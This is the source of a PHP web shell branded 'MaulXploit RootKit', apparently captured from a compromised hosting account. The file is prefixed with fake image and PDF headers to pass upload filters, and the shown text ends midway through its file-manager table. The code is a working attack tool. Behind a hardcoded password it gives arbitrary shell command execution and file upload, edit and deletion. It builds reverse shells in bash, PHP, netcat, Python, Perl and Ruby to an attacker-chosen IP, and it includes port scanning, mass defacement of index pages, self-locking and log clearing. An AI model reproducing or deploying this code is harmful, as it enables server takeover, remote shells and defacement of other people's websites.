%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_e6d92538/ |
Upload File : |
<?php
/*
* ╔══════════════════════════════════════════════════════════════════╗
* ║ ███╗ ███╗ █████╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ║
* ║ ████╗ ████║ ██╔══██╗ ██║ ██║ ╚██╗██╔╝ ██╔══██╗██║ ║
* ║ ██╔████╔██║ ███████║ ██║ ██║ ╚███╔╝ ██████╔╝██║ ║
* ║ ██║╚██╔╝██║ ██╔══██║ ██║ ██║ ██╔██╗ ██╔═══╝ ██║ ║
* ║ ██║ ╚═╝ ██║ ██║ ██║ ███████╗ ██╔╝ ██╗ ██║ ██║ ║
* ║ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ║
* ║ ║
* ║ MaulXploit RootKit Team AnonBlackFlag v6.0 ║
* ║ Ultimate Edition • Full Features ║
* ╚══════════════════════════════════════════════════════════════════╝
*/
error_reporting(0);
set_time_limit(0);
ini_set('display_errors', 0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', '-1');
// ========== AUTH ==========
$pass = 'anonblack';
$log_file = 'mx_activity.log';
session_name('MX_' . md5($_SERVER['HTTP_HOST']));
session_start();
if(isset($_POST['login']) && $_POST['pass'] === $pass){
$_SESSION['auth'] = true;
$_SESSION['login_time'] = time();
log_activity('Login successful from '.$_SERVER['REMOTE_ADDR']);
}
if(isset($_GET['logout'])){
log_activity('Logout');
session_destroy();
header('Location: '.$_SERVER['PHP_SELF']);
exit;
}
if(!isset($_SESSION['auth']) || $_SESSION['auth'] !== true){
die('<!DOCTYPE html>
<html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MaulXploit RootKit</title>
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&family=Rajdhani:wght@300;400;600;700&display=swap" rel="stylesheet">
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{background:#05080f;display:flex;justify-content:center;align-items:center;height:100vh;font-family:Rajdhani,sans-serif;overflow:hidden;}
canvas#matrix{position:fixed;top:0;left:0;width:100%;height:100%;z-index:0;opacity:0.2;}
.login{position:relative;z-index:1;background:rgba(8,12,22,0.92);backdrop-filter:blur(30px);border:1px solid rgba(60,120,200,0.12);padding:50px;border-radius:20px;box-shadow:0 0 100px rgba(40,80,160,0.04),inset 0 0 80px rgba(40,80,160,0.015);width:440px;animation:float 4s ease-in-out infinite;}
@keyframes float{0%,100%{transform:translateY(0);}50%{transform:translateY(-6px);}}
.login .logo{text-align:center;margin-bottom:16px;}
.login .logo img{max-width:100%;height:auto;filter:drop-shadow(0 0 40px rgba(40,80,160,0.15));}
.login .logo .sub{color:#4a7090;font-size:11px;letter-spacing:4px;text-transform:uppercase;margin-top:4px;font-weight:300;}
.login .logo .line{width:70px;height:1px;background:linear-gradient(90deg,transparent,rgba(60,120,200,0.3),transparent);margin:10px auto;}
.login input{width:100%;padding:16px;background:rgba(0,16,32,0.5);border:1px solid rgba(60,120,200,0.1);color:#8ab4d0;border-radius:10px;font-family:Share+Tech+Mono,monospace;font-size:14px;margin-bottom:14px;transition:all .4s;}
.login input:focus{outline:none;border-color:rgba(60,120,200,0.3);box-shadow:0 0 40px rgba(40,80,160,0.06);}
.login button{width:100%;padding:16px;background:linear-gradient(135deg,#1a3048,#243a5a);border:none;color:#8ab4d0;font-family:Orbitron;font-weight:700;border-radius:10px;cursor:pointer;font-size:13px;letter-spacing:3px;transition:all .4s;}
.login button:hover{background:linear-gradient(135deg,#243a5a,#2a4a6a);box-shadow:0 0 50px rgba(40,80,160,0.1);transform:scale(1.01);}
.login .status{color:#4a6a80;font-size:10px;text-align:center;margin-top:12px;letter-spacing:2px;font-weight:300;}
</style></head>
<body>
<canvas id="matrix"></canvas>
<script>
const canvas = document.getElementById("matrix");
const ctx = canvas.getContext("2d");
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const cols = Math.floor(canvas.width / 14);
const drops = Array(cols).fill(1);
function drawMatrix() {
ctx.fillStyle = "rgba(5,8,15,0.04)";
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = "#1a3a5a";
ctx.font = "14px monospace";
for (let i = 0; i < drops.length; i++) {
const text = String.fromCharCode(0x30A0 + Math.random() * 96);
ctx.fillText(text, i * 14, drops[i] * 14);
if (drops[i] * 14 > canvas.height && Math.random() > 0.975) drops[i] = 0;
drops[i]++;
}
}
setInterval(drawMatrix, 35);
</script>
<div class="login">
<div class="logo">
<img src="https://i.gyazo.com/2a2038ed885cedabd043b26332b43807.png" alt="MaulXploit">
<div class="line"></div>
<div class="sub">RootKit • AnonBlackFlag</div>
</div>
<form method="POST">
<input type="password" name="pass" placeholder="Enter Password">
<button type="submit" name="login">⟡ ACCESS ⟡</button>
</form>
<div class="status">v6.0 • Ultimate Edition</div>
</div>
</body></html>');
}
// ========== LOG ACTIVITY ==========
function log_activity($msg){
global $log_file;
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$time = date('Y-m-d H:i:s');
$entry = "[$time] [$ip] $msg\n";
@file_put_contents($log_file, $entry, FILE_APPEND);
}
// ========== FUNGSI CORE ==========
function run($cmd){
if(function_exists('shell_exec')) return shell_exec($cmd.' 2>&1');
if(function_exists('exec')){ exec($cmd.' 2>&1', $o); return implode("\n", $o); }
if(function_exists('system')){ ob_start(); system($cmd.' 2>&1'); return ob_get_clean(); }
if(function_exists('passthru')){ ob_start(); passthru($cmd.' 2>&1'); return ob_get_clean(); }
return '';
}
function cwd(){
if(isset($_GET['dir']) && is_dir($_GET['dir'])) return realpath($_GET['dir']);
if(isset($_SESSION['cwd']) && is_dir($_SESSION['cwd'])) return $_SESSION['cwd'];
return getcwd();
}
function sz($b){
$u = ['B','KB','MB','GB','TB'];
for($i=0; $b>=1024 && $i<4; $b/=1024, $i++);
return round($b,2).' '.$u[$i];
}
function perm($f){
$p = fileperms($f);
return (($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-').(($p&0x0040)?'x':'-')
.(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-').(($p&0x0008)?'x':'-')
.(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-').(($p&0x0001)?'x':'-');
}
function icon($f){
$m = @mime_content_type($f);
if(strpos($m,'image')!==false) return '<i class="fas fa-image" style="color:#4a80b0;"></i>';
if(strpos($m,'zip')!==false || strpos($m,'7z')!==false) return '<i class="fas fa-file-archive" style="color:#b0a040;"></i>';
if(strpos($m,'pdf')!==false) return '<i class="fas fa-file-pdf" style="color:#c04050;"></i>';
if(strpos($m,'php')!==false || strpos($m,'html')!==false) return '<i class="fas fa-code" style="color:#40a060;"></i>';
if(strpos($m,'text')!==false) return '<i class="fas fa-file-alt" style="color:#8090a0;"></i>';
if(strpos($m,'video')!==false) return '<i class="fas fa-file-video" style="color:#a060b0;"></i>';
if(strpos($m,'audio')!==false) return '<i class="fas fa-file-audio" style="color:#60a0a0;"></i>';
return '<i class="fas fa-file" style="color:#607080;"></i>';
}
function hx($n){ $y=''; for($i=0;$i<strlen($n);$i++){ $y.=dechex(ord($n[$i])); } return $y; }
function unhx($y){ $n=''; for($i=0;$i<strlen($y)-1;$i+=2){ $n.=chr(hexdec($y[$i].$y[$i+1])); } return $n; }
// ========== HANDLE ==========
$dir = cwd();
$_SESSION['cwd'] = $dir;
// Upload
if(isset($_FILES['up']) && $_FILES['up']['error']==0){
move_uploaded_file($_FILES['up']['tmp_name'], $dir.'/'.$_FILES['up']['name']);
log_activity('Uploaded: '.$_FILES['up']['name']);
}
// Delete
if(isset($_GET['del'])){
$t = $dir.'/'.$_GET['del'];
if(is_file($t)) unlink($t);
elseif(is_dir($t)) rmdir($t);
log_activity('Deleted: '.$_GET['del']);
header('Location: ?dir='.urlencode($dir));
exit;
}
// Edit Save
if(isset($_POST['save']) && isset($_GET['edit'])){
file_put_contents($dir.'/'.$_GET['edit'], $_POST['code']);
log_activity('Edited: '.$_GET['edit']);
header('Location: ?dir='.urlencode($dir));
exit;
}
// Rename
if(isset($_POST['rename']) && isset($_GET['rn'])){
rename($dir.'/'.$_GET['rn'], $dir.'/'.$_POST['newname']);
log_activity('Renamed: '.$_GET['rn'].' → '.$_POST['newname']);
header('Location: ?dir='.urlencode($dir));
exit;
}
// Chmod
if(isset($_POST['chmod']) && isset($_GET['ch'])){
chmod($dir.'/'.$_GET['ch'], octdec($_POST['mode']));
log_activity('Chmod: '.$_GET['ch'].' → '.$_POST['mode']);
header('Location: ?dir='.urlencode($dir));
exit;
}
// Download
if(isset($_GET['dl'])){
$f = $dir.'/'.$_GET['dl'];
if(is_file($f)){
log_activity('Downloaded: '.$_GET['dl']);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
readfile($f);
exit;
}
}
// Terminal
if(isset($_POST['cmd'])){
$out = run($_POST['cmd']);
log_activity('Command: '.$_POST['cmd']);
}
// BackConnect
if(isset($_POST['bc'])){
$ip = $_POST['bc_ip'];
$port = $_POST['bc_port'];
$type = $_POST['bc_type'];
$cmd = '';
if($type == 'bash') $cmd = 'bash -i >& /dev/tcp/'.$ip.'/'.$port.' 0>&1';
elseif($type == 'php') $cmd = 'php -r \'$s=fsockopen("'.$ip.'",'.$port.');exec("/bin/sh -i <&3 >&3 2>&3");\'';
elseif($type == 'nc') $cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '.$ip.' '.$port.' >/tmp/f';
elseif($type == 'python') $cmd = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$ip.'",'.$port.'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);\'';
elseif($type == 'perl') $cmd = 'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'';
elseif($type == 'ruby') $cmd = 'ruby -rsocket -e\'f=TCPSocket.open("'.$ip.'",'.$port.').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'';
$bc_out = run($cmd);
log_activity('BackConnect: '.$type.' to '.$ip.':'.$port);
}
// Finder
if(isset($_POST['finder'])){
$find_file = $_POST['find_file'];
$find_path = $_POST['find_path'] ?: '/';
$find_out = run('find '.$find_path.' -name "'.$find_file.'" 2>/dev/null');
log_activity('Finder: '.$find_file);
}
// Port Scan
if(isset($_POST['portscan'])){
$ps_ip = $_POST['ps_ip'];
$ps_ports = $_POST['ps_ports'];
$ps_out = '';
foreach(explode(',', $ps_ports) as $p){
$fp = @fsockopen($ps_ip, trim($p), $e, $s, 1);
$ps_out .= $p.': '.($fp ? 'OPEN' : 'CLOSED')."\n";
if($fp) fclose($fp);
}
log_activity('PortScan: '.$ps_ip);
}
// Check Shell
if(isset($_POST['check_shell'])){
$check_path = $_POST['check_path'] ?: '/';
$check_out = run('find '.$check_path.' -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" \) -exec grep -l "eval\|base64_decode\|system\|exec\|shell_exec\|passthru\|popen\|proc_open" {} \; 2>/dev/null');
log_activity('Check Shell: scanned '.$check_path);
}
// Network Info
if(isset($_POST['netinfo'])){
$net_out = run('ifconfig 2>/dev/null || ip a 2>/dev/null || ipconfig 2>/dev/null');
log_activity('Network Info');
}
// Process List
if(isset($_POST['pslist'])){
$ps_out = run('ps aux 2>/dev/null || ps -ef 2>/dev/null || tasklist 2>/dev/null');
log_activity('Process List');
}
// ========== MASS DEFACE ==========
if(isset($_POST['mass_deface'])){
$deface_path = $_POST['deface_path'] ?: '/';
$deface_content = $_POST['deface_content'] ?: '<h1>Hacked by MaulXploit</h1>';
$deface_ext = $_POST['deface_ext'] ?: 'html';
$deface_out = run('find '.$deface_path.' -type f \( -name "index.'.$deface_ext.'" -o -name "default.'.$deface_ext.'" -o -name "home.'.$deface_ext.'" -o -name "main.'.$deface_ext.'" \) -exec sh -c \'echo "'.$deface_content.'" > {}\' \; 2>/dev/null');
log_activity('Mass Deface: scanned '.$deface_path.' with extension .'.$deface_ext);
}
// ========== LOCK/UNLOCK ==========
if(isset($_GET['lock'])){
@chmod(__FILE__, 0444);
log_activity('Locked shell');
}
if(isset($_GET['unlock'])){
@chmod(__FILE__, 0644);
log_activity('Unlocked shell');
}
// Clear Log
if(isset($_GET['clear_log'])){
@unlink($log_file);
header('Location: ?dir='.urlencode($dir));
exit;
}
// View Log
if(isset($_GET['view_log'])){
$log_content = @file_get_contents($log_file);
}
$files = scandir($dir);
$self = $_SERVER['PHP_SELF'].'?dir='.urlencode($dir);
$uname = run('uname -a');
$whoami = run('whoami');
$uptime = run('uptime');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>◈ MaulXploit RootKit</title>
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&family=Rajdhani:wght@300;400;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<style>
:root{
--bg:#05080f;
--bg2:#0a101f;
--bg3:#0f1a2f;
--bg4:#15253f;
--border:#1a2f4a;
--border2:#243f60;
--blue:#4a80b0;
--blue2:#306090;
--blue3:#1a3a5a;
--blue-glow:rgba(40,80,160,0.06);
--text:#8ab4d0;
--text2:#6080a0;
--text3:#4a6078;
--red:#b04050;
--green:#40a060;
--yellow:#b0a040;
--purple:#8060b0;
--gradient:linear-gradient(135deg,#0a1525,#15253f);
}
*{margin:0;padding:0;box-sizing:border-box;}
body{background:var(--bg);color:var(--text);font-family:'Rajdhani',sans-serif;font-size:14px;padding:10px;background-image:radial-gradient(ellipse at 20% 50%, rgba(40,80,160,0.02) 0%, transparent 60%);min-height:100vh;}
::-webkit-scrollbar{width:4px;}
::-webkit-scrollbar-track{background:var(--bg);}
::-webkit-scrollbar-thumb{background:var(--border);border-radius:4px;}
::-webkit-scrollbar-thumb:hover{background:var(--blue);}
a{color:var(--blue);text-decoration:none;transition:all .3s;}
a:hover{color:#6a9ac0;text-shadow:0 0 20px rgba(40,80,160,0.1);}
/* ===== GLITCH HEADER ===== */
.header{background:var(--gradient);border:1px solid var(--border);border-radius:12px;padding:8px 20px;margin-bottom:10px;display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center;box-shadow:0 0 30px var(--blue-glow);position:relative;overflow:hidden;}
.header::before{content:'';position:absolute;top:-50%;left:-50%;width:200%;height:200%;background:conic-gradient(from 0deg, transparent, rgba(40,80,160,0.02), transparent, rgba(40,80,160,0.02), transparent);animation:spin 25s linear infinite;z-index:0;}
@keyframes spin{100%{transform:rotate(360deg);}}
.header>*{position:relative;z-index:1;}
.header .brand{display:flex;align-items:center;}
.header .brand img{width:250px;height:200px;object-fit:contain;border-radius:6px;filter:drop-shadow(0 0 30px rgba(40,80,160,0.1));}
.header .info{display:flex;gap:16px;font-size:11px;color:var(--text2);flex-wrap:wrap;font-weight:300;font-family:'Share+Tech+Mono',monospace;}
.header .info span i{color:var(--text3);margin-right:4px;font-size:10px;}
.header .info .dot{display:inline-block;width:6px;height:6px;background:var(--green);border-radius:50%;margin-right:4px;animation:pulse 2s infinite;}
@keyframes pulse{0%,100%{opacity:1;}50%{opacity:0.3;}}
/* ===== NAV ===== */
.nav{display:flex;flex-wrap:wrap;gap:3px;background:var(--bg2);padding:5px 10px;border-radius:10px;border:1px solid var(--border);margin-bottom:10px;}
.nav a{color:var(--text2);padding:5px 14px;border-radius:6px;font-size:11px;font-weight:400;border:1px solid transparent;transition:all .3s;font-family:'Rajdhani',sans-serif;letter-spacing:0.3px;}
.nav a:hover{color:#8ab4d0;background:var(--bg3);border-color:var(--border2);box-shadow:0 0 20px var(--blue-glow);}
.nav a i{margin-right:6px;font-size:12px;}
.nav .danger{color:var(--red);}
.nav .danger:hover{background:var(--red);color:#fff;border-color:var(--red);box-shadow:0 0 20px rgba(160,64,80,0.1);}
/* ===== PANEL ===== */
.panel{background:var(--bg2);border:1px solid var(--border);border-radius:12px;margin-bottom:10px;overflow:hidden;transition:all .3s;}
.panel:hover{border-color:var(--border2);box-shadow:0 0 30px var(--blue-glow);}
.panel-head{background:var(--bg3);padding:8px 16px;font-size:12px;font-weight:500;color:var(--blue);border-bottom:1px solid var(--border);display:flex;justify-content:space-between;align-items:center;font-family:'Rajdhani',sans-serif;letter-spacing:0.5px;text-transform:uppercase;}
.panel-head i{margin-right:6px;font-size:13px;}
.panel-head .badge{font-size:8px;background:var(--bg);padding:2px 10px;border-radius:10px;color:var(--text3);border:1px solid var(--border);font-weight:400;font-family:'Share+Tech+Mono',monospace;}
.panel-body{padding:12px 16px;}
/* ===== COMPONENTS ===== */
.path{font-family:'Share+Tech+Mono',monospace;font-size:12px;word-break:break-all;}
.path a{color:var(--blue);}
.path a:hover{text-decoration:underline;}
.path .sep{color:var(--text3);}
.upload{display:flex;gap:8px;flex-wrap:wrap;align-items:center;}
.upload input[type="file"]{background:var(--bg);border:1px solid var(--border);color:var(--text);padding:6px 12px;border-radius:6px;font-size:11px;font-family:'Share+Tech+Mono',monospace;}
.upload input[type="file"]::file-selector-button{background:var(--bg3);border:none;color:var(--text);padding:4px 14px;border-radius:4px;cursor:pointer;transition:all .3s;font-family:'Rajdhani',sans-serif;}
.upload input[type="file"]::file-selector-button:hover{background:var(--border);}
.btn{background:var(--bg3);border:1px solid var(--border);color:var(--text);padding:6px 18px;border-radius:6px;cursor:pointer;font-family:'Rajdhani',sans-serif;font-size:12px;font-weight:500;transition:all .3s;letter-spacing:0.5px;text-transform:uppercase;}
.btn:hover{background:var(--blue3);color:#8ab4d0;border-color:var(--border2);box-shadow:0 0 20px var(--blue-glow);}
.btn-primary{background:var(--blue3);color:#8ab4d0;border-color:var(--border2);}
.btn-primary:hover{background:var(--blue2);color:#fff;border-color:var(--blue2);box-shadow:0 0 30px rgba(40,80,160,0.15);}
.btn-danger{background:transparent;color:var(--red);border-color:var(--border);}
.btn-danger:hover{background:var(--red);color:#fff;border-color:var(--red);box-shadow:0 0 20px rgba(160,64,80,0.1);}
.btn-success{background:transparent;color:var(--green);border-color:var(--border);}
.btn-success:hover{background:var(--green);color:#000;border-color:var(--green);}
.btn-sm{padding:3px 10px;font-size:10px;}
/* ===== TABLE ===== */
table{width:100%;border-collapse:collapse;font-size:12px;}
th{text-align:left;padding:6px 12px;background:var(--bg3);color:var(--text2);font-weight:400;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;border-bottom:1px solid var(--border);font-family:'Share+Tech+Mono',monospace;}
td{padding:5px 12px;border-bottom:1px solid var(--bg3);}
tr:hover td{background:rgba(15,26,47,0.4);}
td .name{color:var(--text);font-weight:400;}
td .name:hover{color:var(--blue);}
td .act a{color:var(--text3);margin:0 4px;font-size:13px;transition:all .2s;}
td .act a:hover{color:var(--blue);}
td .act .del{color:var(--red);}
td .act .del:hover{color:#c06070;}
td .icon{font-size:15px;margin-right:6px;display:inline-block;width:20px;text-align:center;}
/* ===== GRID ===== */
.grid-2{display:grid;grid-template-columns:1fr 1fr;gap:10px;}
@media(max-width:700px){.grid-2{grid-template-columns:1fr;}}
/* ===== STATS ===== */
.stat-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:6px;margin-bottom:10px;}
.stat-item{background:var(--bg3);padding:8px 14px;border-radius:6px;border:1px solid var(--border);transition:all .3s;}
.stat-item:hover{border-color:var(--border2);}
.stat-item .label{font-size:8px;text-transform:uppercase;color:var(--text3);letter-spacing:1.5px;font-weight:300;font-family:'Share+Tech+Mono',monospace;}
.stat-item .value{font-family:'Share+Tech+Mono',monospace;font-size:13px;color:var(--blue);font-weight:400;margin-top:2px;}
/* ===== MODAL ===== */
.modal{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.85);backdrop-filter:blur(10px);z-index:999;justify-content:center;align-items:center;animation:fadeIn .3s;}
.modal.show{display:flex;}
@keyframes fadeIn{from{opacity:0;transform:scale(0.96);}to{opacity:1;transform:scale(1);}}
.modal-box{background:var(--bg2);border:1px solid var(--border);border-radius:12px;padding:24px;width:92%;max-width:460px;box-shadow:0 0 60px rgba(0,0,0,0.3);max-height:90vh;overflow-y:auto;}
.modal-box h3{color:var(--blue);font-size:15px;margin-bottom:14px;font-weight:500;font-family:'Orbitron',sans-serif;letter-spacing:1px;display:flex;align-items:center;gap:8px;}
.modal-box h3 i{font-size:16px;}
.modal-box input,.modal-box select,.modal-box textarea{width:100%;padding:9px 14px;background:var(--bg);border:1px solid var(--border);color:var(--text);border-radius:6px;font-family:'Share+Tech+Mono',monospace;font-size:12px;margin-bottom:8px;transition:all .3s;}
.modal-box input:focus,.modal-box select:focus,.modal-box textarea:focus{outline:none;border-color:var(--border2);box-shadow:0 0 20px var(--blue-glow);}
.modal-box textarea{min-height:70px;resize:vertical;}
.modal-box .close{float:right;cursor:pointer;color:var(--text3);font-size:22px;transition:all .3s;}
.modal-box .close:hover{color:var(--red);}
.modal-box .output{background:var(--bg);border:1px solid var(--border);border-radius:6px;padding:10px;margin-top:10px;font-family:'Share+Tech+Mono',monospace;font-size:10px;max-height:180px;overflow:auto;color:var(--green);white-space:pre-wrap;line-height:1.6;}
/* ===== TERMINAL ===== */
.term{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.9);backdrop-filter:blur(12px);z-index:999;justify-content:center;align-items:center;animation:fadeIn .3s;}
.term.show{display:flex;}
.term-box{background:var(--bg2);border:1px solid var(--border);border-radius:12px;padding:18px;width:95%;height:78%;box-shadow:0 0 60px rgba(0,0,0,0.3);}
.term-box h3{color:var(--blue);font-size:14px;margin-bottom:10px;font-weight:500;font-family:'Orbitron',sans-serif;letter-spacing:1px;display:flex;align-items:center;gap:8px;}
.term-box textarea{width:100%;height:70%;background:var(--bg);border:1px solid var(--border);color:var(--green);border-radius:6px;padding:12px;font-family:'Share+Tech+Mono',monospace;font-size:12px;resize:none;line-height:1.8;}
.term-box .flex{display:flex;gap:8px;margin-top:8px;}
.term-box .flex input{flex:1;padding:8px 14px;background:var(--bg);border:1px solid var(--border);color:var(--text);border-radius:6px;font-family:'Share+Tech+Mono',monospace;font-size:12px;}
.term-box .flex input:focus{outline:none;border-color:var(--border2);}
/* ===== EDITOR ===== */
.editor{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.9);backdrop-filter:blur(12px);z-index:999;justify-content:center;align-items:center;animation:fadeIn .3s;}
.editor.show{display:flex;}
.editor-box{background:var(--bg2);border:1px solid var(--border);border-radius:12px;padding:18px;width:95%;height:88%;box-shadow:0 0 60px rgba(0,0,0,0.3);}
.editor-box h3{color:var(--blue);font-size:14px;margin-bottom:10px;font-weight:500;font-family:'Orbitron',sans-serif;letter-spacing:1px;display:flex;align-items:center;gap:8px;}
.editor-box textarea{width:100%;height:80%;background:var(--bg);border:1px solid var(--border);color:var(--text);border-radius:6px;padding:12px;font-family:'Share+Tech+Mono',monospace;font-size:13px;resize:vertical;line-height:1.7;}
.editor-box textarea:focus{outline:none;border-color:var(--border2);}
.editor-box .flex{display:flex;gap:8px;margin-top:8px;}
.editor-box .flex .btn{flex:1;text-align:center;padding:8px;}
/* ===== FOOTER ===== */
.footer{text-align:center;padding:14px;font-size:9px;color:var(--text3);border-top:1px solid var(--bg3);margin-top:10px;letter-spacing:2px;font-weight:300;font-family:'Share+Tech+Mono',monospace;}
.footer a{color:var(--blue);}
.footer i{color:var(--blue3);margin:0 4px;}
/* ===== RESPONSIVE ===== */
@media(max-width:600px){
body{font-size:11px;padding:4px;}
.header{padding:6px 12px;}
.header .brand img{width:180px;height:140px;}
.header .info{font-size:9px;gap:6px;}
.nav a{font-size:9px;padding:3px 6px;}
.nav a i{font-size:10px;}
td{padding:3px 8px;font-size:10px;}
.panel-body{padding:8px 10px;}
.modal-box{padding:16px;width:96%;}
.editor-box,.term-box{padding:10px;width:98%;height:90%;}
.editor-box textarea{height:75%;font-size:11px;}
.term-box textarea{height:65%;font-size:11px;}
.stat-grid{grid-template-columns:1fr 1fr;}
.stat-item .value{font-size:11px;}
}
</style>
</head>
<body>
<!-- ===== HEADER ===== -->
<div class="header">
<div class="brand">
<img src="https://i.gyazo.com/2a2038ed885cedabd043b26332b43807.png" alt="MaulXploit">
</div>
<div class="info">
<span><i class="fas fa-computer"></i> <?= php_uname('n') ?></span>
<span><i class="fas fa-server"></i> <?= $_SERVER['SERVER_SOFTWARE'] ?: 'N/A' ?></span>
<span><i class="fas fa-code"></i> PHP <?= PHP_VERSION ?></span>
<span><i class="fas fa-user"></i> <?= $whoami ?: get_current_user() ?></span>
<span><span class="dot"></span> <?= $_SERVER['SERVER_ADDR'] ?></span>
<span><i class="fas fa-clock"></i> <?= date('H:i:s') ?></span>
</div>
</div>
<!-- ===== NAV ===== -->
<div class="nav">
<a href="?dir=<?= urlencode($dir) ?>"><i class="fas fa-home"></i> Home</a>
<a href="#" onclick="document.getElementById('termModal').classList.add('show');return false;"><i class="fas fa-terminal"></i> Terminal</a>
<a href="#" onclick="document.getElementById('bcModal').classList.add('show');return false;"><i class="fas fa-plug"></i> BackConnect</a>
<a href="#" onclick="document.getElementById('finderModal').classList.add('show');return false;"><i class="fas fa-search"></i> Finder</a>
<a href="#" onclick="document.getElementById('psModal').classList.add('show');return false;"><i class="fas fa-network-wired"></i> PortScan</a>
<a href="#" onclick="document.getElementById('checkModal').classList.add('show');return false;"><i class="fas fa-shield-alt"></i> Check Shell</a>
<a href="#" onclick="document.getElementById('defaceModal').classList.add('show');return false;"><i class="fas fa-skull"></i> Mass Deface</a>
<a href="#" onclick="document.getElementById('netModal').classList.add('show');return false;"><i class="fas fa-wifi"></i> NetInfo</a>
<a href="#" onclick="document.getElementById('pslistModal').classList.add('show');return false;"><i class="fas fa-tasks"></i> Processes</a>
<a href="#" onclick="document.getElementById('logModal').classList.add('show');return false;"><i class="fas fa-history"></i> Logs</a>
<a href="?lock=1"><i class="fas fa-lock"></i> Lock</a>
<a href="?unlock=1"><i class="fas fa-unlock"></i> Unlock</a>
<a href="?logout=1" class="danger"><i class="fas fa-sign-out-alt"></i> Exit</a>
</div>
<!-- ===== STATS ===== -->
<div class="stat-grid">
<div class="stat-item"><div class="label">Uptime</div><div class="value"><?= $uptime ?: 'N/A' ?></div></div>
<div class="stat-item"><div class="label">Disk Free</div><div class="value"><?= function_exists('disk_free_space') ? sz(disk_free_space($dir)) : 'N/A' ?></div></div>
<div class="stat-item"><div class="label">Files</div><div class="value"><?= count($files) ?></div></div>
<div class="stat-item"><div class="label">PHP Memory</div><div class="value"><?= ini_get('memory_limit') ?></div></div>
</div>
<!-- ===== UPLOAD ===== -->
<div class="panel">
<div class="panel-head"><i class="fas fa-upload"></i> File Upload <span class="badge">Max: <?= ini_get('upload_max_filesize') ?></span></div>
<div class="panel-body">
<form method="post" enctype="multipart/form-data" class="upload">
<input type="file" name="up">
<button type="submit" class="btn btn-primary"><i class="fas fa-cloud-upload-alt"></i> Upload</button>
</form>
</div>
</div>
<!-- ===== PATH ===== -->
<div class="panel">
<div class="panel-head"><i class="fas fa-folder-open"></i> Directory</div>
<div class="panel-body path">
<?php
$parts = explode('/', str_replace('\\','/',$dir));
$p = '';
foreach($parts as $k=>$v){
if($v=='' && $k==0){ echo '<a href="?dir=/">/</a>'; continue; }
if($v=='') continue;
$p .= '/'.$v;
echo '<a href="?dir='.urlencode($p).'">'.$v.'</a><span class="sep">/</span>';
}
?>
</div>
</div>
<!-- ===== FILE MANAGER ===== -->
<div class="panel">
<div class="panel-head"><i class="fas fa-list-ul"></i> File Manager <span class="badge"><?= count($files)-2 ?> items</span></div>
<div class="panel-body" style="padding:0;overflow-x:auto;">
<table>
<tr><th>Name</th><th style="width:70px;">Size</th><th style="width:90px;">Perm</th><th style="width:170px;">Action</th></tr>
<?php
$dirs=[]; $fls=[];
foreach($files as $f){
if($f=='.' || $f=='..') continue;
if(is_dir($dir.'/'.$f)) $dirs[]=$f; else $fls[]=$f;
}
sort($dirs); sort($fls);
foreach(array_merge($dirs,$fls) as $f):
$full=$dir.'/'.$f; $isdir=is_dir($full);
?>
<tr>
<td><span class="icon"><?= $isdir ? '<i class="fas fa-folder" style="color:#b0a040;"></i>' : icon($full) ?></span>
<?php if($isdir): ?>
<a href="?dir=<?= urlencode($full) ?>" class="name"><?= $f ?></a>
<?php else: ?>
<a href="?dir=<?= urlencode($dir) ?>&edit=<?= urlencode($f) ?>" class="name"><?= $f ?></a>
<?php endif; ?>
</td>
<td><?= $isdir ? 'DIR' : sz(filesize($full)) ?></td>
<td><?= perm($full) ?></td>
<td class="act">
<?php if(!$isdir): ?>
<a href="?dir=<?= urlencode($dir) ?>&edit=<?= urlencode($f) ?>" title="Edit"><i class="fas fa-edit"></i></a>
<a href="?dir=<?= urlencode($dir) ?>&dl=<?= urlencode($f) ?>" title="Download"><i class="fas fa-download"></i></a>
<?php endif; ?>
